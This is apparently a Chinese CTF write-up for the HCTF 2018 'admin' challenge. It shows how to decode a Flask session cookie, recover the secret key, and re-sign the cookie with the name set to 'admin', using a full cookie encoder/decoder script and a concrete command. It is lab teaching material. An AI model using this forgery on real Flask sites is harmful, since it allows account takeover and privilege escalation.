[HCTF 2018]admin之Flask之session伪造

接解法一

解法二：Flask之session伪造 原理

首先要明确cookie和session的区别：cookie放在客户端，我们可以获得的。session放在服务器，我们无法拿到的，但是flask这种轻量级的框架，session就放在了客户端，因此我们能拿来修改，这就是我们能session伪造的原因。session加密了，可以用解密脚本来解密。我们将一般用户的session修改为admin的session，再用加密脚本加上秘钥来加密成admin的session就OK了。

过程

1、参考文章
Flask之session伪造(从某平台学习Session身份伪造)

2、找session
3、解密脚本，我在编译器运行的。

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')
                            
    return session_json_serializer.loads(payload)

if __name__ == '__main__':
	# 放置session
    print(decryption(".eJxFkE-LwkAMxb_KkrOHdqwXwYv0DxUypTIyJBdxtTodjQtV2bbid99Blt3k8sh7_ODlCdtj19wczO_do5nAtj3A_AkfnzAH8pjQiJE254HNeVrZWgXda6GBPcYk9YjpacqpvrBsVMhO2S8FpVbo121lKdKWHY1LV5mD0Kjbyqw8KnZosxnbOqqKXNhmCUk56KLu2Qc9Zj0WOHCRuyotY60oZiGF6UGw0IGvHZpNz0X5zSYX8rSA1wT2t-64vX-dm-t_BZOFyH5AgxEJh6UEVaj1xrmLltzrMRedlgnZtcN0feHT4o1rZXdq_kgmX7H9da47CQbEYWACj1vTvd8WDvD6AQkBa-c.YmIMmA.vkGdxjLQqP1iKcggIjNESkzPtVE".encode()))

4、运行结果，我注册的账号的为1111。

{'_fresh': True, '_id': b'b38c34592e979d65916f2f35bd3087d3efe6c37f0f2d624b9f45fac0a97fc3b92c3fa1a9ed48afea8bb24d1f18c110c2daa8257f5ff607f0cf2ca151db0e1fb6', 'csrf_token': b'57f35c100293753cef335c84b9df01784bb33a8f', 'image': b'DOK2', 'name': '1111', 'user_id': '10'}

5、到config文件找秘钥
6、加密脚本
GITHUB给你爱

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key

if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

7、新建加密脚本为flask_session.py文件，秘钥为ckj123，用下面代码运行。

python flask_session.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'b38c34592e979d65916f2f35bd3087d3efe6c37f0f2d624b9f45fac0a97fc3b92c3fa1a9ed48afea8bb24d1f18c110c2daa8257f5ff607f0cf2ca151db0e1fb6', 'csrf_token': b'57f35c100293753cef335c84b9df01784bb33a8f', 'image': b'DOK2', 'name': 'admin', 'user_id': '10'}
"

8、运行成功
9、将session放回原位，刷新即可得到flag。

解法三：弱口令

管他黑猫白猫，能抓到老鼠的就是好猫。